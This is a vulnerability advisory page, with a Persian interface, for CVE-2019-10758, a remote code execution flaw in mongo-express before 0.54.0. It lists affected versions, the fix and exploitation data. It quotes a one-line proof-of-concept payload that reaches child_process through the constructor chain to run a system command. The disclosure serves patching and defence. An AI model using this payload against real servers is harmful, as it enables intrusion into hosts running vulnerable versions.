همهٔ گزارش‌ها
بحرانی

Remote Code Execution Vulnerability in NPM mongo-express

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
< 0.54.0
نسخهٔ اصلاح‌شده
0.54.0

بهره‌برداری

CVE-2019-10758

بهره‌برداری واقعی گزارش شده است · CISA KEV

تاریخ ثبت: ۱۴۰۰/۰۹/۱۹

احتمال بهره‌برداری در ۳۰ روز آینده: 84.73%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

پیوندها

گزارش‌دهندگان

  • JLLeitschuh